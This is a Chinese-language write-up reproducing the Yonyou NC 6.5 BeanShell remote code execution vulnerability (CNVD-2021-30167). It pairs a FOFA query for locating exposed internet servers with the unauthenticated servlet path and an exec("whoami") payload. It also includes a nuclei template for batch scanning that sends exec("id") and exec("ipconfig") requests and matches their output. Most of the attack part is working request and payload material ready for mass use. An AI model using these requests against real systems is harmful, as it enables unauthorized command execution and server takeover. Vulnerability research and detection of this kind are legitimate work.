用友NC BeanShell远程代码执行漏洞(CNVD-2021-30167)
漏洞概述
该漏洞是由于用友 NC 对外开放了 BeanShell 测试接口,并没有设置权限,攻击者可利用该漏洞在未授权的情况下,构造恶意数据,执行任意代码,最终获取服务器最高权限。
影响版本
用友NC6.5版本
漏洞复现
fofa语法:title=="YONYOU NC"
系统默认页面:
无需登录,直接访问 URLhttp://xxx.xxx.xxx.xxx/servlet/~ic/bsh.servlet.BshServlet
进入 BeanShell Test Servlet 页面
BeanShell Test Servlet 页面有执行代码的接口,输入 payload 如:exec("whoami");
即可看到命令执行成功。
该漏洞为第三方 jar 包的漏洞导致的。如果存在 servlet/~ic/bsh.servlet.BshServlet
路径且能正常访问,则大概率会存在该漏洞。
nuclei批量yaml文件
nuclei自带
id: CNVD-2021-30167
info:
name: UFIDA NC BeanShell Remote Command Execution
author: pikpikcu
severity: critical
description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
reference:
- https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
- https://www.cnvd.org.cn/webinfo/show/6491
- https://chowdera.com/2022/03/202203110138271510.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
tags: cnvd,cnvd2021,beanshell,rce,yonyou
metadata:
max-request: 2
http:
- raw:
- | #linux
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
bsh.script=exec("id");
- | #windows
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
bsh.script=exec("ipconfig");
matchers-condition: and
matchers:
- type: regex
regex:
- "uid="
- "Windows IP"
condition: or
- type: word
words:
- "BeanShell Test Servlet"
- type: status
status:
- 200